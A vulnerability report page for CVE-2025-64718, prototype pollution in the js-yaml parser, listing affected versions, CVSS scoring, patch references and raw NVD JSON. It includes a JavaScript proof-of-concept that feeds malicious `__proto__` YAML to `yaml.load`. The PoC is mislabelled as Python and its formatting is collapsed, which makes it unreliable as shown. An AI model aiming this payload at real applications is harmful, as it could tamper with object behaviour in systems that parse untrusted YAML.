Security Vulnerability Report
中文
CVE-2025-64718 CVSS 5.3 MEDIUM

CVE-2025-64718

Published: 2025-11-13 16:15:57
Last Modified: 2026-02-02 12:54:45

Description

js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:* - VULNERABLE
js-yaml < 3.14.2
js-yaml >= 4.0.0 且 < 4.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const yaml = require('js-yaml'); // Malicious YAML input that triggers prototype pollution const maliciousYaml = ` __proto__: admin: true constructor: prototype: polluted: true `; try { // Parse the malicious YAML const result = yaml.load(maliciousYaml); // Check if prototype was polluted console.log('Parsed result:', result); console.log('Prototype pollution check:'); console.log('Object.prototype.admin:', Object.prototype.admin); console.log('Object.prototype.polluted:', Object.prototype.polluted); // Demonstrate the impact - create a new empty object const cleanObj = {}; console.log('New object admin property:', cleanObj.admin); console.log('New object polluted property:', cleanObj.polluted); } catch (e) { console.error('Error:', e.message); } // Safe load example with schema restriction console.log('\n--- Using safe load with custom schema ---'); try { const safeResult = yaml.load(maliciousYaml, { schema: yaml.JSON_SCHEMA // More restrictive schema }); console.log('Safe result:', safeResult); } catch (e) { console.log('Safe load caught error:', e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64718", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:57.153", "lastModified": "2026-02-02T12:54:45.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.14.2", "matchCriteriaId": "8CAC7EC0-C471-4811-A77C-2DD5B47C7F46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nodeca:js-yaml:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.1", "matchCriteriaId": "B56B6076-0668-4DDC-8B01-C48019081B13"}]}]}], "references": [{"url": "https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-mh29-5h37-fv8m", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/advisories/GHSA-mh29-5h37-fv8m", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Vendor Advisory"]}]}}